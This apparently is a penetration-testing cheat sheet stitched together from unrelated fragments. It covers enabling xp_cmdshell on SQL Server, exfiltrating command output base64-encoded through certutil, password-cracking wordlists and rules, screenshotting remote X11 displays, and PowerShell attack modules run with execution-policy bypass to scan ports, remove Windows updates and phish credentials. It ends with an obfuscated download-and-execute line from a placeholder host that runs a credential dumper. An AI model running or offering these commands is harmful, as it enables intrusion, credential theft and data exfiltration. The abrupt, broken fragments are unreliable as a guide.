EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

The procedure to achieve it is as follows:

Declare a variable of “table” type to save the output that returns the xp_cmdshell procedure (remember that it returns the result in several rows).
Dump the output of the command to the previous variable.
Concatenate the rows of the table, separated by a line break.
Encode the resulting string in Base64 and save it in a variable.
Generate the certutil command, appending the string with the result.
Execute it.

Wordlists

-Weakpass 2.0: https://weakpass.com/download

• Crackstation: https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm
• Rockyou: included in Kali Linux - https://www.kali.org/downloads/

Rules

• Append_d: adds numbers to the end of a password, i.e. Password -> Password77
• Append_s: adds special characters to the end of a password, i.e. Password -> Password!
• Leetspeak: changes passwords to leetspeak, i.e. password -> p4$$w0rd

apt-get install x11-utils xutils-dev imagemagick libxext-dev xspy
xwininfo -root -tree -display 172.16.31.102:0
xwd -root -screen -silent -display 10.10.10.10:0 > screenshot.xwd
convert screenshot.xwd screenshot.png

Watching the display

./xwatchwin -u 0.5 172.16.31.102:0 root

Port-Scan

Powershell.exe –exec bypass –Command “& {Import-Module ‘C:\Users\User\Desktop\temp\Port-Scan.ps1’; Port-Scan –StartAddress 192.168.56.101 –Endaddress 192.168.56.105 –ResolveHost -ScanPort }”

Remove-Update

Powershell.exe –exec bypass –Command “& {Import-Module ‘C:\Users\User\Desktop\temp\Remove-Update.ps1’; Remove-Update KB2534366}”

Invoke-CredentialsPhish

Powershell.exe –exec bypass –Command “& {Import-Module ‘C:\Users\User\Desktop\temp\Invoke-CredentialsPhish.ps1’; Invoke-CredentialsPhish}”

PowerMeta - Discover publicly available files, extract metadata, provide information about internal username schema, system names, domain info ... https://github.com/dathack/PowerMeta
MailSniper, powercat, empire, unicorn, dnscat2-powershell, invoke-powershellicmp, ...

https://github.com/danielbohannon/Invoke-Obfuscation

PS > Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation
Invoke-Obfuscation > set SCRIPTBLOCK "iEX (New-Object System.Net.WebClient).DownloadString('https://<IP>:<PORT>/obfuscated.ps1'); Invoke-Mimidogz -DumpCred
...